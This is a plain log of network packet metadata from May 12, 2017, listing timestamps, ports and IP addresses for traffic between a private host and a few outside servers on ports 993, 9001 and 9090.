May 12, 2017 18:54:49.734970093 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.735471964 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.735482931 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.735629082 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.735647917 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.743743896 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.743757963 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.743777990 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.743858099 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.743880987 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.744239092 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.744256020 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.753110886 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.753134012 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.753408909 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.753427029 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.761785984 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.761807919 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.761935949 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.761956930 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.770044088 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.770070076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.770153999 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.770174026 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.770212889 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.770231962 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.770636082 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.770653009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.784610987 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.784640074 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.784735918 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.784756899 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.792706966 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.792730093 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.793453932 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.793467045 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.805639029 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.805668116 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.805843115 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.805860996 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.805871964 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.805886984 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.805907965 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.806456089 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.806534052 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.812761068 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.814930916 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.814954042 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.815059900 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.815080881 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.835871935 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:49.836178064 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.836201906 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.836282015 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.836302042 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.836318970 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.836332083 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.836489916 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.836504936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.838537931 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:49.838557959 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:49.844548941 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.844571114 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.844691992 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.844712019 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.865550041 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.865572929 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.865716934 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.865731001 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.866072893 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.866739988 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.866764069 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.866868019 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.866884947 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.866900921 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.867063046 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.867078066 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.867153883 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.867168903 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.895507097 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.895530939 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.895543098 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.895628929 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.895648003 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.895689964 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.895708084 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.895781994 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.895797014 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.904983997 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.905014992 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.905159950 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.905179977 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.922791958 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:49.922880888 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.922914028 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.924587011 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.924602985 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.927840948 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:49.927869081 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:49.930988073 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.931010962 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.931088924 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.931098938 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.931116104 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.931128979 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.931145906 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.931370974 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.931806087 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.931951046 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.949642897 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.949666023 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.949806929 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.949821949 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.949840069 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.949853897 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.949889898 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.949980974 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.959202051 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.959224939 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.959239960 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.960593939 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.984493017 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.984524012 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.984535933 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.984549046 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.984560966 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.984615088 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.984632969 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:49.985868931 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:49.994097948 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.006169081 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.006194115 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.006249905 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.006273031 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.014879942 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.014911890 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.014992952 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.015012026 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.018511057 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.022994041 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.023017883 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.023103952 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.023122072 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.024041891 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.024068117 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.024142981 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.024159908 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.032172918 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.032196999 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.032280922 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.032299995 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.033320904 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.033337116 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.033432961 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.033448935 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.042587042 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.042609930 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.042712927 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.042727947 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.061693907 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.061712980 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.061769009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.061778069 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.061783075 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.061831951 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.061846972 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.071227074 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:50.071240902 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:50.071365118 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:50.080339909 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.080354929 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.080533981 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.080560923 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.081954956 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.081984043 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.082036972 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.082052946 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.090245962 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.090274096 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.090325117 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.090337038 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.090512037 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.099630117 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.099656105 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.099670887 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.099750996 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.105943918 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.105967999 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.105983973 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.106054068 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.112808943 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.112833023 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.112844944 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.112981081 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.119332075 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.119359016 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.119379044 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.119478941 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.128741026 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.128763914 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.128773928 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.128851891 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.133522034 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.135061979 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.135087967 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.135190010 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.135210991 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.152189970 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.152215958 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.152225971 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.152333975 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.152355909 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.165225983 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.165404081 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:50.367636919 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:50.384469986 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.568451881 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:50.568552971 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:50.604465961 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:50.604626894 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:51.044480085 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:51.048340082 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.190241098 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.190263033 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190275908 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190294027 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190378904 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.190792084 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.190818071 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190828085 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190862894 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190891027 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190907001 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190927029 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190946102 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190951109 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190963984 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.190973043 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191085100 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.191103935 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191116095 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191124916 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191134930 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191139936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191160917 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191174984 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191191912 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191198111 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191205025 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191268921 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191299915 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191314936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191329956 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191354990 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191364050 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191373110 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191401005 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191418886 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.191432953 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192673922 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.192701101 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192715883 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192723989 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192732096 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192739964 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192748070 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192754984 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192763090 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192770004 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192778111 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192785025 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192792892 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.192812920 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.193157911 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:52.193192005 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:52.193327904 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.193439960 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:52.193460941 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:52.194689989 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.201994896 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.202025890 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202049971 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202159882 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.202507973 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.202526093 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202538967 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202548027 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202554941 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202573061 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202579975 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202588081 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202605009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202614069 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202619076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202625036 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202630043 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202657938 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202666998 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202672005 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202677965 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202682972 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202687979 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202693939 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202698946 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202704906 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202874899 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.202898026 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202909946 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202919006 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202927113 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202934980 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202943087 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202950954 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202959061 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202966928 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202975035 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202982903 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202991009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.202996969 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203001976 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203007936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203013897 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203018904 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203023911 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203030109 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203035116 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203039885 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.203747034 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.203938007 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.208044052 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.208075047 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.208086014 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.208120108 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.208251953 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.244453907 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.244584084 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.244606972 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.371630907 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:52.420449972 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.572491884 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:52.572593927 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:52.636455059 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:52.636744022 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:52.658694029 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:52.658719063 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:52.658848047 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:53.068454981 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:53.068562031 CEST	49199	993	192.168.1.16	195.154.107.23
